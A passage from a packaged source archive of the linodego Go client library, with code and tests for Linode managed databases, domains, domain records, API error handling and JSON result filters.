Mask Database p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(d), } if err := json.Unmarshal(b, &p); err != nil { return err } d.Created = (*time.Time)(p.Created) d.Updated = (*time.Time)(p.Updated) return nil } // ListDatabases lists all Database instances in Linode Managed Databases for the account func (c *Client) ListDatabases(ctx context.Context, opts *ListOptions) ([]Database, error) { response := DatabasesPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // ListDatabaseEngines lists all Database Engines. This endpoint is cached by default. func (c *Client) ListDatabaseEngines(ctx context.Context, opts *ListOptions) ([]DatabaseEngine, error) { response := DatabaseEnginesPagedResponse{} endpoint, err := generateListCacheURL(response.endpoint(), opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]DatabaseEngine), nil } err = c.listHelper(ctx, &response, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response.Data, &cacheExpiryTime) return response.Data, nil } // GetDatabaseEngine returns a specific Database Engine. This endpoint is cached by default. func (c *Client) GetDatabaseEngine(ctx context.Context, _ *ListOptions, engineID string) (*DatabaseEngine, error) { engineID = url.PathEscape(engineID) e := fmt.Sprintf("databases/engines/%s", engineID) if result := c.getCachedResponse(e); result != nil { result := result.(DatabaseEngine) return &result, nil } req := c.R(ctx).SetResult(&DatabaseEngine{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } c.addCachedResponse(e, r.Result(), &cacheExpiryTime) return r.Result().(*DatabaseEngine), nil } // ListDatabaseTypes lists all Types of Database provided in Linode Managed Databases. This endpoint is cached by default. func (c *Client) ListDatabaseTypes(ctx context.Context, opts *ListOptions) ([]DatabaseType, error) { response := DatabaseTypesPagedResponse{} endpoint, err := generateListCacheURL(response.endpoint(), opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]DatabaseType), nil } err = c.listHelper(ctx, &response, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response.Data, &cacheExpiryTime) return response.Data, nil } // GetDatabaseType returns a specific Database Type. This endpoint is cached by default. func (c *Client) GetDatabaseType(ctx context.Context, _ *ListOptions, typeID string) (*DatabaseType, error) { typeID = url.PathEscape(typeID) e := fmt.Sprintf("databases/types/%s", typeID) if result := c.getCachedResponse(e); result != nil { result := result.(DatabaseType) return &result, nil } req := c.R(ctx).SetResult(&DatabaseType{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } c.addCachedResponse(e, r.Result(), &cacheExpiryTime) return r.Result().(*DatabaseType), nil } golang-github-linode-linodego-1.28.0/domain_records.go000066400000000000000000000134771455402072200227330ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "github.com/go-resty/resty/v2" ) // DomainRecord represents a DomainRecord object type DomainRecord struct { ID int `json:"id"` Type DomainRecordType `json:"type"` Name string `json:"name"` Target string `json:"target"` Priority int `json:"priority"` Weight int `json:"weight"` Port int `json:"port"` Service *string `json:"service"` Protocol *string `json:"protocol"` TTLSec int `json:"ttl_sec"` Tag *string `json:"tag"` } // DomainRecordCreateOptions fields are those accepted by CreateDomainRecord type DomainRecordCreateOptions struct { Type DomainRecordType `json:"type"` Name string `json:"name"` Target string `json:"target"` Priority *int `json:"priority,omitempty"` Weight *int `json:"weight,omitempty"` Port *int `json:"port,omitempty"` Service *string `json:"service,omitempty"` Protocol *string `json:"protocol,omitempty"` TTLSec int `json:"ttl_sec,omitempty"` // 0 is not accepted by Linode, so can be omitted Tag *string `json:"tag,omitempty"` } // DomainRecordUpdateOptions fields are those accepted by UpdateDomainRecord type DomainRecordUpdateOptions struct { Type DomainRecordType `json:"type,omitempty"` Name string `json:"name,omitempty"` Target string `json:"target,omitempty"` Priority *int `json:"priority,omitempty"` // 0 is valid, so omit only nil values Weight *int `json:"weight,omitempty"` // 0 is valid, so omit only nil values Port *int `json:"port,omitempty"` // 0 is valid to spec, so omit only nil values Service *string `json:"service,omitempty"` Protocol *string `json:"protocol,omitempty"` TTLSec int `json:"ttl_sec,omitempty"` // 0 is not accepted by Linode, so can be omitted Tag *string `json:"tag,omitempty"` } // DomainRecordType constants start with RecordType and include Linode API Domain Record Types type DomainRecordType string // DomainRecordType contants are the DNS record types a DomainRecord can assign const ( RecordTypeA DomainRecordType = "A" RecordTypeAAAA DomainRecordType = "AAAA" RecordTypeNS DomainRecordType = "NS" RecordTypeMX DomainRecordType = "MX" RecordTypeCNAME DomainRecordType = "CNAME" RecordTypeTXT DomainRecordType = "TXT" RecordTypeSRV DomainRecordType = "SRV" RecordTypePTR DomainRecordType = "PTR" RecordTypeCAA DomainRecordType = "CAA" ) // GetUpdateOptions converts a DomainRecord to DomainRecordUpdateOptions for use in UpdateDomainRecord func (d DomainRecord) GetUpdateOptions() (du DomainRecordUpdateOptions) { du.Type = d.Type du.Name = d.Name du.Target = d.Target du.Priority = copyInt(&d.Priority) du.Weight = copyInt(&d.Weight) du.Port = copyInt(&d.Port) du.Service = copyString(d.Service) du.Protocol = copyString(d.Protocol) du.TTLSec = d.TTLSec du.Tag = copyString(d.Tag) return } // DomainRecordsPagedResponse represents a paginated DomainRecord API response type DomainRecordsPagedResponse struct { *PageOptions Data []DomainRecord `json:"data"` } // endpoint gets the endpoint URL for InstanceConfig func (DomainRecordsPagedResponse) endpoint(ids ...any) string { id, _ := ids[0].(int) return fmt.Sprintf("domains/%d/records", id) } func (resp *DomainRecordsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(DomainRecordsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*DomainRecordsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListDomainRecords lists DomainRecords func (c *Client) ListDomainRecords(ctx context.Context, domainID int, opts *ListOptions) ([]DomainRecord, error) { response := DomainRecordsPagedResponse{} err := c.listHelper(ctx, &response, opts, domainID) if err != nil { return nil, err } return response.Data, nil } // GetDomainRecord gets the domainrecord with the provided ID func (c *Client) GetDomainRecord(ctx context.Context, domainID int, recordID int) (*DomainRecord, error) { req := c.R(ctx).SetResult(&DomainRecord{}) e := fmt.Sprintf("domains/%d/records/%d", domainID, recordID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*DomainRecord), nil } // CreateDomainRecord creates a DomainRecord func (c *Client) CreateDomainRecord(ctx context.Context, domainID int, opts DomainRecordCreateOptions) (*DomainRecord, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("domains/%d/records", domainID) req := c.R(ctx).SetResult(&DomainRecord{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*DomainRecord), nil } // UpdateDomainRecord updates the DomainRecord with the specified id func (c *Client) UpdateDomainRecord(ctx context.Context, domainID int, recordID int, opts DomainRecordUpdateOptions) (*DomainRecord, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("domains/%d/records/%d", domainID, recordID) req := c.R(ctx).SetResult(&DomainRecord{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*DomainRecord), nil } // DeleteDomainRecord deletes the DomainRecord with the specified id func (c *Client) DeleteDomainRecord(ctx context.Context, domainID int, recordID int) error { e := fmt.Sprintf("domains/%d/records/%d", domainID, recordID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/domains.go000066400000000000000000000275041455402072200213710ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "github.com/go-resty/resty/v2" ) // Domain represents a Domain object type Domain struct { // This Domain's unique ID ID int `json:"id"` // The domain this Domain represents. These must be unique in our system; you cannot have two Domains representing the same domain. Domain string `json:"domain"` // If this Domain represents the authoritative source of information for the domain it describes, or if it is a read-only copy of a master (also called a slave). Type DomainType `json:"type"` // Enum:"master" "slave" // Deprecated: The group this Domain belongs to. This is for display purposes only. Group string `json:"group"` // Used to control whether this Domain is currently being rendered. Status DomainStatus `json:"status"` // Enum:"disabled" "active" "edit_mode" "has_errors" // A description for this Domain. This is for display purposes only. Description string `json:"description"` // Start of Authority email address. This is required for master Domains. SOAEmail string `json:"soa_email"` // The interval, in seconds, at which a failed refresh should be retried. // Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RetrySec int `json:"retry_sec"` // The IP addresses representing the master DNS for this Domain. MasterIPs []string `json:"master_ips"` // The list of IPs that may perform a zone transfer for this Domain. This is potentially dangerous, and should be set to an empty list unless you intend to use it. AXfrIPs []string `json:"axfr_ips"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` // The amount of time in seconds that may pass before this Domain is no longer authoritative. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. ExpireSec int `json:"expire_sec"` // The amount of time in seconds before this Domain should be refreshed. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RefreshSec int `json:"refresh_sec"` // "Time to Live" - the amount of time in seconds that this Domain's records may be cached by resolvers or other domain servers. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. TTLSec int `json:"ttl_sec"` } // DomainZoneFile represents the Zone File of a Domain type DomainZoneFile struct { ZoneFile []string `json:"zone_file"` } // DomainCreateOptions fields are those accepted by CreateDomain type DomainCreateOptions struct { // The domain this Domain represents. These must be unique in our system; you cannot have two Domains representing the same domain. Domain string `json:"domain"` // If this Domain represents the authoritative source of information for the domain it describes, or if it is a read-only copy of a master (also called a slave). // Enum:"master" "slave" Type DomainType `json:"type"` // Deprecated: The group this Domain belongs to. This is for display purposes only. Group string `json:"group,omitempty"` // Used to control whether this Domain is currently being rendered. // Enum:"disabled" "active" "edit_mode" "has_errors" Status DomainStatus `json:"status,omitempty"` // A description for this Domain. This is for display purposes only. Description string `json:"description,omitempty"` // Start of Authority email address. This is required for master Domains. SOAEmail string `json:"soa_email,omitempty"` // The interval, in seconds, at which a failed refresh should be retried. // Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RetrySec int `json:"retry_sec,omitempty"` // The IP addresses representing the master DNS for this Domain. MasterIPs []string `json:"master_ips"` // The list of IPs that may perform a zone transfer for this Domain. This is potentially dangerous, and should be set to an empty list unless you intend to use it. AXfrIPs []string `json:"axfr_ips"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` // The amount of time in seconds that may pass before this Domain is no longer authoritative. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. ExpireSec int `json:"expire_sec,omitempty"` // The amount of time in seconds before this Domain should be refreshed. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RefreshSec int `json:"refresh_sec,omitempty"` // "Time to Live" - the amount of time in seconds that this Domain's records may be cached by resolvers or other domain servers. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. TTLSec int `json:"ttl_sec,omitempty"` } // DomainUpdateOptions converts a Domain to DomainUpdateOptions for use in UpdateDomain type DomainUpdateOptions struct { // The domain this Domain represents. These must be unique in our system; you cannot have two Domains representing the same domain. Domain string `json:"domain,omitempty"` // If this Domain represents the authoritative source of information for the domain it describes, or if it is a read-only copy of a master (also called a slave). // Enum:"master" "slave" Type DomainType `json:"type,omitempty"` // Deprecated: The group this Domain belongs to. This is for display purposes only. Group string `json:"group,omitempty"` // Used to control whether this Domain is currently being rendered. // Enum:"disabled" "active" "edit_mode" "has_errors" Status DomainStatus `json:"status,omitempty"` // A description for this Domain. This is for display purposes only. Description string `json:"description,omitempty"` // Start of Authority email address. This is required for master Domains. SOAEmail string `json:"soa_email,omitempty"` // The interval, in seconds, at which a failed refresh should be retried. // Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RetrySec int `json:"retry_sec,omitempty"` // The IP addresses representing the master DNS for this Domain. MasterIPs []string `json:"master_ips"` // The list of IPs that may perform a zone transfer for this Domain. This is potentially dangerous, and should be set to an empty list unless you intend to use it. AXfrIPs []string `json:"axfr_ips"` // An array of tags applied to this object. Tags are for organizational purposes only. Tags []string `json:"tags"` // The amount of time in seconds that may pass before this Domain is no longer authoritative. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. ExpireSec int `json:"expire_sec,omitempty"` // The amount of time in seconds before this Domain should be refreshed. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. RefreshSec int `json:"refresh_sec,omitempty"` // "Time to Live" - the amount of time in seconds that this Domain's records may be cached by resolvers or other domain servers. Valid values are 300, 3600, 7200, 14400, 28800, 57600, 86400, 172800, 345600, 604800, 1209600, and 2419200 - any other value will be rounded to the nearest valid value. TTLSec int `json:"ttl_sec,omitempty"` } // DomainType constants start with DomainType and include Linode API Domain Type values type DomainType string // DomainType constants reflect the DNS zone type of a Domain const ( DomainTypeMaster DomainType = "master" DomainTypeSlave DomainType = "slave" ) // DomainStatus constants start with DomainStatus and include Linode API Domain Status values type DomainStatus string // DomainStatus constants reflect the current status of a Domain const ( DomainStatusDisabled DomainStatus = "disabled" DomainStatusActive DomainStatus = "active" DomainStatusEditMode DomainStatus = "edit_mode" DomainStatusHasErrors DomainStatus = "has_errors" ) // GetUpdateOptions converts a Domain to DomainUpdateOptions for use in UpdateDomain func (d Domain) GetUpdateOptions() (du DomainUpdateOptions) { du.Domain = d.Domain du.Type = d.Type du.Group = d.Group du.Status = d.Status du.Description = d.Description du.SOAEmail = d.SOAEmail du.RetrySec = d.RetrySec du.MasterIPs = d.MasterIPs du.AXfrIPs = d.AXfrIPs du.Tags = d.Tags du.ExpireSec = d.ExpireSec du.RefreshSec = d.RefreshSec du.TTLSec = d.TTLSec return } // DomainsPagedResponse represents a paginated Domain API response type DomainsPagedResponse struct { *PageOptions Data []Domain `json:"data"` } // endpoint gets the endpoint URL for Domain func (DomainsPagedResponse) endpoint(_ ...any) string { return "domains" } func (resp *DomainsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(DomainsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*DomainsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListDomains lists Domains func (c *Client) ListDomains(ctx context.Context, opts *ListOptions) ([]Domain, error) { response := DomainsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetDomain gets the domain with the provided ID func (c *Client) GetDomain(ctx context.Context, domainID int) (*Domain, error) { req := c.R(ctx).SetResult(&Domain{}) e := fmt.Sprintf("domains/%d", domainID) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Domain), nil } // CreateDomain creates a Domain func (c *Client) CreateDomain(ctx context.Context, opts DomainCreateOptions) (*Domain, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } req := c.R(ctx).SetResult(&Domain{}).SetBody(string(body)) e := "domains" r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Domain), nil } // UpdateDomain updates the Domain with the specified id func (c *Client) UpdateDomain(ctx context.Context, domainID int, opts DomainUpdateOptions) (*Domain, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("domains/%d", domainID) req := c.R(ctx).SetResult(&Domain{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*Domain), nil } // DeleteDomain deletes the Domain with the specified id func (c *Client) DeleteDomain(ctx context.Context, domainID int) error { e := fmt.Sprintf("domains/%d", domainID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // GetDomainZoneFile gets the zone file for the last rendered zone for the specified domain. func (c *Client) GetDomainZoneFile(ctx context.Context, domainID int) (*DomainZoneFile, error) { e := fmt.Sprintf("domains/%d/zone-file", domainID) req := c.R(ctx).SetResult(&DomainZoneFile{}) resp, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return resp.Result().(*DomainZoneFile), nil } golang-github-linode-linodego-1.28.0/env.sample000066400000000000000000000000351455402072200213710ustar00rootroot00000000000000LINODE_TOKEN= LINODE_DEBUG=0 golang-github-linode-linodego-1.28.0/errors.go000066400000000000000000000074441455402072200212540ustar00rootroot00000000000000package linodego import ( "errors" "fmt" "net/http" "reflect" "strings" "github.com/go-resty/resty/v2" ) const ( ErrorUnsupported = iota // ErrorFromString is the Code identifying Errors created by string types ErrorFromString // ErrorFromError is the Code identifying Errors created by error types ErrorFromError // ErrorFromStringer is the Code identifying Errors created by fmt.Stringer types ErrorFromStringer ) // Error wraps the LinodeGo error with the relevant http.Response type Error struct { Response *http.Response Code int Message string } // APIErrorReason is an individual invalid request message returned by the Linode API type APIErrorReason struct { Reason string `json:"reason"` Field string `json:"field"` } func (r APIErrorReason) Error() string { if len(r.Field) == 0 { return r.Reason } return fmt.Sprintf("[%s] %s", r.Field, r.Reason) } // APIError is the error-set returned by the Linode API when presented with an invalid request type APIError struct { Errors []APIErrorReason `json:"errors"` } func coupleAPIErrors(r *resty.Response, err error) (*resty.Response, error) { if err != nil { // an error was raised in go code, no need to check the resty Response return nil, NewError(err) } if r.Error() == nil { // no error in the resty Response return r, nil } // handle the resty Response errors // Check that response is of the correct content-type before unmarshalling expectedContentType := r.Request.Header.Get("Accept") responseContentType := r.Header().Get("Content-Type") // If the upstream Linode API server being fronted fails to respond to the request, // the http server will respond with a default "Bad Gateway" page with Content-Type // "text/html". if r.StatusCode() == http.StatusBadGateway && responseContentType == "text/html" { return nil, Error{Code: http.StatusBadGateway, Message: http.StatusText(http.StatusBadGateway)} } if responseContentType != expectedContentType { msg := fmt.Sprintf( "Unexpected Content-Type: Expected: %v, Received: %v\nResponse body: %s", expectedContentType, responseContentType, string(r.Body()), ) return nil, Error{Code: r.StatusCode(), Message: msg} } apiError, ok := r.Error().(*APIError) if !ok || (ok && len(apiError.Errors) == 0) { return r, nil } return nil, NewError(r) } func (e APIError) Error() string { x := []string{} for _, msg := range e.Errors { x = append(x, msg.Error()) } return strings.Join(x, "; ") } func (err Error) Error() string { return fmt.Sprintf("[%03d] %s", err.Code, err.Message) } func (err Error) StatusCode() int { return err.Code } func (err Error) Is(target error) bool { if x, ok := target.(interface{ StatusCode() int }); ok || errors.As(target, &x) { return err.StatusCode() == x.StatusCode() } return false } // NewError creates a linodego.Error with a Code identifying the source err type, // - ErrorFromString (1) from a string // - ErrorFromError (2) for an error // - ErrorFromStringer (3) for a Stringer // - HTTP Status Codes (100-600) for a resty.Response object func NewError(err any) *Error { if err == nil { return nil } switch e := err.(type) { case *Error: return e case *resty.Response: apiError, ok := e.Error().(*APIError) if !ok { return &Error{Code: ErrorUnsupported, Message: "Unexpected Resty Error Response, no error"} } return &Error{ Code: e.RawResponse.StatusCode, Message: apiError.Error(), Response: e.RawResponse, } case error: return &Error{Code: ErrorFromError, Message: e.Error()} case string: return &Error{Code: ErrorFromString, Message: e} case fmt.Stringer: return &Error{Code: ErrorFromStringer, Message: e.String()} default: return &Error{Code: ErrorUnsupported, Message: fmt.Sprintf("Unsupported type to linodego.NewError: %s", reflect.TypeOf(e))} } } golang-github-linode-linodego-1.28.0/errors_test.go000066400000000000000000000173711455402072200223130ustar00rootroot00000000000000package linodego import ( "bytes" "context" "errors" "fmt" "io" "net/http" "net/http/httptest" "testing" "github.com/go-resty/resty/v2" "github.com/google/go-cmp/cmp" ) type testStringer string func (t testStringer) String() string { return string(t) } type testError string func (e testError) Error() string { return string(e) } func restyError(reason, field string) *resty.Response { var reasons []APIErrorReason // allow for an empty reasons if reason != "" && field != "" { reasons = append(reasons, APIErrorReason{ Reason: reason, Field: field, }) } return &resty.Response{ RawResponse: &http.Response{ StatusCode: 500, }, Request: &resty.Request{ Error: &APIError{ Errors: reasons, }, }, } } func TestNewError(t *testing.T) { if NewError(nil) != nil { t.Errorf("nil error should return nil") } if NewError(struct{}{}).Code != ErrorUnsupported { t.Error("empty struct should return unsupported error type") } err := errors.New("test") newErr := NewError(err) if newErr.Message != err.Error() && newErr.Code != ErrorFromError { t.Error("error should return ErrorFromError") } if newErr.Error() != "[002] test" { t.Error("Error should support Error() formatter with code") } if NewError(newErr) != newErr { t.Error("Error should be itself") } if err := NewError(&resty.Response{Request: &resty.Request{}}); err.Message != "Unexpected Resty Error Response, no error" { t.Error("Unexpected Resty Error Response, no error") } if err := NewError(restyError("testreason", "testfield")); err.Message != "[testfield] testreason" { t.Error("rest response error should should be set") } if err := NewError("stringerror"); err.Message != "stringerror" || err.Code != ErrorFromString { t.Errorf("string error should be set") } if err := NewError(testStringer("teststringer")); err.Message != "teststringer" || err.Code != ErrorFromStringer { t.Errorf("error should be set for a stringer interface") } if err := NewError(testError("testerror")); err.Message != "testerror" || err.Code != ErrorFromError { t.Errorf("error should be set for an error interface") } } func createTestServer(method, route, contentType, body string, statusCode int) (*httptest.Server, *Client) { h := http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) { if r.Method == method && r.URL.Path == route { rw.Header().Add("Content-Type", contentType) rw.WriteHeader(statusCode) rw.Write([]byte(body)) return } rw.WriteHeader(http.StatusNotImplemented) }) ts := httptest.NewServer(h) client := NewClient(nil) client.SetBaseURL(ts.URL) return ts, &client } func TestCoupleAPIErrors(t *testing.T) { t.Run("not nil error generates error", func(t *testing.T) { err := errors.New("test") if _, err := coupleAPIErrors(nil, err); !cmp.Equal(err, NewError(err)) { t.Errorf("expect a not nil error to be returned as an Error") } }) t.Run("resty 500 response error with reasons", func(t *testing.T) { if _, err := coupleAPIErrors(restyError("testreason", "testfield"), nil); err.Error() != "[500] [testfield] testreason" { t.Error("resty error should return with proper format [code] [field] reason") } }) t.Run("resty 500 response error without reasons", func(t *testing.T) { if _, err := coupleAPIErrors(restyError("", ""), nil); err != nil { t.Error("resty error with no reasons should return no error") } }) t.Run("resty response with nil error", func(t *testing.T) { emptyErr := &resty.Response{ RawResponse: &http.Response{ StatusCode: 500, }, Request: &resty.Request{ Error: nil, }, } if _, err := coupleAPIErrors(emptyErr, nil); err != nil { t.Error("resty error with no reasons should return no error") } }) t.Run("generic html error", func(t *testing.T) { rawResponse := ` 500 Internal Server Error

500 Internal Server Error


nginx
` route := "/v4/linode/instances/123" ts, client := createTestServer(http.MethodGet, route, "text/html", rawResponse, http.StatusInternalServerError) // client.SetDebug(true) defer ts.Close() expectedError := Error{ Code: http.StatusInternalServerError, Message: "Unexpected Content-Type: Expected: application/json, Received: text/html\nResponse body: " + rawResponse, } _, err := coupleAPIErrors(client.R(context.Background()).SetResult(&Instance{}).Get(ts.URL + route)) if diff := cmp.Diff(expectedError, err); diff != "" { t.Errorf("expected error to match but got diff:\n%s", diff) } }) t.Run("bad gateway error", func(t *testing.T) { rawResponse := []byte(` 502 Bad Gateway

502 Bad Gateway


nginx
`) buf := io.NopCloser(bytes.NewBuffer(rawResponse)) resp := &resty.Response{ Request: &resty.Request{ Error: errors.New("Bad Gateway"), }, RawResponse: &http.Response{ Header: http.Header{ "Content-Type": []string{"text/html"}, }, StatusCode: http.StatusBadGateway, Body: buf, }, } expectedError := Error{ Code: http.StatusBadGateway, Message: http.StatusText(http.StatusBadGateway), } if _, err := coupleAPIErrors(resp, nil); !cmp.Equal(err, expectedError) { t.Errorf("expected error %#v to match error %#v", err, expectedError) } }) } func TestErrorIs(t *testing.T) { t.Parallel() defaultError := &Error{ Message: "default error", Code: http.StatusInternalServerError, } for _, tc := range []struct { testName string err1 error err2 error expectedResult bool }{ { testName: "base errors.Is comparision", err1: defaultError, err2: defaultError, expectedResult: true, }, { testName: "wrapped default", err1: fmt.Errorf("test wrap: %w", defaultError), err2: defaultError, expectedResult: true, }, { testName: "deeply wrapped error", err1: fmt.Errorf("wrap 1: %w", fmt.Errorf("wrap 2: %w", defaultError)), err2: defaultError, expectedResult: true, }, { testName: "default and Error from empty resty error", err1: NewError(restyError("", "")), err2: defaultError, expectedResult: true, }, { testName: "default and Error from resty error with field", err1: NewError(restyError("", "test field")), err2: defaultError, expectedResult: true, }, { testName: "default and Error from resty error with field and reason", err1: NewError(restyError("test reason", "test field")), err2: defaultError, expectedResult: true, }, { testName: "default and Error from resty error with reason", err1: NewError(restyError("test reason", "")), err2: defaultError, expectedResult: true, }, { testName: "error and nil", err1: defaultError, err2: nil, expectedResult: false, }, { testName: "wrapped nil", err1: fmt.Errorf("test wrap: %w", nil), err2: defaultError, expectedResult: false, }, { testName: "both errors are different nil", // NOTE: nils of different types are never equal err1: nil, err2: (*Error)(nil), expectedResult: false, }, { testName: "different error types", err1: errors.New("different error type"), err2: defaultError, expectedResult: false, }, } { tc := tc t.Run(tc.testName, func(t *testing.T) { t.Parallel() if errors.Is(tc.err1, tc.err2) != tc.expectedResult { t.Errorf("expected %+#v to be equal %+#v", tc.err1, tc.err2) } }) } } golang-github-linode-linodego-1.28.0/filter.go000066400000000000000000000037121455402072200212170ustar00rootroot00000000000000package linodego import ( "encoding/json" ) type FilterOperator string const ( Eq FilterOperator = "+eq" Neq FilterOperator = "+neq" Gt FilterOperator = "+gt" Gte FilterOperator = "+gte" Lt FilterOperator = "+lt" Lte FilterOperator = "+lte" Contains FilterOperator = "+contains" Ascending = "asc" Descending = "desc" ) type FilterNode interface { Key() string JSONValueSegment() any } type Filter struct { // Operator is the logic for all Children nodes ("+and"/"+or") Operator string Children []FilterNode // OrderBy is the field you want to order your results by (ex: "+order_by": "class") OrderBy string // Order is the direction in which to order the results ("+order": "asc"/"desc") Order string } func (f *Filter) AddField(op FilterOperator, key string, value any) { f.Children = append(f.Children, &Comp{key, op, value}) } func (f *Filter) MarshalJSON() ([]byte, error) { result := make(map[string]any) if f.OrderBy != "" { result["+order_by"] = f.OrderBy } if f.Order != "" { result["+order"] = f.Order } if f.Operator == "" { for _, c := range f.Children { result[c.Key()] = c.JSONValueSegment() } return json.Marshal(result) } fields := make([]map[string]any, len(f.Children)) for i, c := range f.Children { fields[i] = map[string]any{ c.Key(): c.JSONValueSegment(), } } result[f.Operator] = fields return json.Marshal(result) } type Comp struct { Column string Operator FilterOperator Value any } func (c *Comp) Key() string { return c.Column } func (c *Comp) JSONValueSegment() any { if c.Operator == Eq { return c.Value } return map[string]any{ string(c.Operator): c.Value, } } func Or(order string, orderBy string, nodes ...FilterNode) *Filter { return &Filter{"+or", nodes, orderBy, order} } func And(order string, orderBy string, nodes ...FilterNode) *Filter { return &Filter{"+and", nodes, orderBy, order} } golang-github-linode-linodego-1.28.0/filter_test.go000066400000000000000000000062311455402072200222550ustar00rootroot00000000000000package linodego import ( "encoding/json" "reflect" "testing" ) func TestFilter(t *testing.T) { expected := map[string]any{ "vcpus": map[string]any{ "+gte": 12, }, "class": "standard", } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } f := Filter{} f.AddField(Gte, "vcpus", 12) f.AddField(Eq, "class", "standard") result, err := f.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } func TestFilterAscending(t *testing.T) { expected := map[string]any{ "vcpus": map[string]any{ "+gte": 12, }, "class": "standard", "+order_by": "class", "+order": "asc", } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } f := Filter{ Order: Ascending, OrderBy: "class", } f.AddField(Gte, "vcpus", 12) f.AddField(Eq, "class", "standard") result, err := f.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } func TestFilterDescending(t *testing.T) { expected := map[string]any{ "vcpus": map[string]any{ "+gte": 12, }, "class": "standard", "+order_by": "class", "+order": "desc", } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } f := Filter{ Order: Descending, OrderBy: "class", } f.AddField(Gte, "vcpus", 12) f.AddField(Eq, "class", "standard") result, err := f.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } func TestFilterAnd(t *testing.T) { expected := map[string]any{ "+and": []map[string]any{ { "vcpus": map[string]any{ "+gte": 12, }, }, { "class": "standard", }, }, } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } c1 := &Comp{"vcpus", Gte, 12} c2 := &Comp{"class", Eq, "standard"} out := And("", "", c1, c2) result, err := out.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } func TestFilterOr(t *testing.T) { expected := map[string]any{ "+or": []map[string]any{ { 